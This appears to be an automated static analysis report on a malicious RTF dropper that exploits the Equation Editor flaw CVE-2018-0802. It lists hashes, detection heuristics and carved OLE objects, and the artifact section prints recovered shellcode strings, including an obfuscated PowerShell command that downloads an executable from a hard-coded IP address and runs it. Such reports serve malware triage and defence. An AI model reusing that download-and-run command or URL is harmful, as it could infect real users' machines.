Malicious RTF — malware analysis report

Static analysis result for SHA-256 657b6434618b6e9d…

MALICIOUS

RTF

11.2 KB First seen: 2019-01-11
MD5: 172c6ea14c57b02537f6dc20cf59e19d SHA-1: 270561b6450fbac93d72c9eebbde297cdeaaccd4 SHA-256: 657b6434618b6e9d74610d309e40415cccede2d6629df03cf5707b2f1b13ddc7
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object that exploits CVE-2018-0802 via the Equation Editor. The document body contains a lure to 'ENABLE EDITING', which would likely trigger the exploit and download a payload from the embedded URLs. The presence of shellcode and URL indicators strongly suggests a malicious dropper.

Heuristics 8

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://217.182.9.196/4.exe In RTF body
    • http://217.182.9.1In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000000ae.bin rtf-objdata-decoded RTF \objdata at offset 0xAE 478 bytes
SHA-256: 2680ac741e2b94c2ee03f7f1e50b224f6e47fe5c9ea745ee267e3c90b5097714
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://217.182.9.196/4.exe Static shellcode analysis recovered command string(s): PoWerShELL ""function abc([String] $vvd){(New-Object System.Net.WebClient).downLoadFile($vvd,'%TEMP%\win.exe');staRt-pRoCeSS '%TEMP%\win.exe';}try{abc('http://217.182.9.1
objdata_01_off00000528.bin rtf-objdata-decoded RTF \objdata at offset 0x528 4681 bytes
SHA-256: 2a3b94a2586ceca7b995cef4297ade9adfcf39facc69dc7f8c34d135955cedd6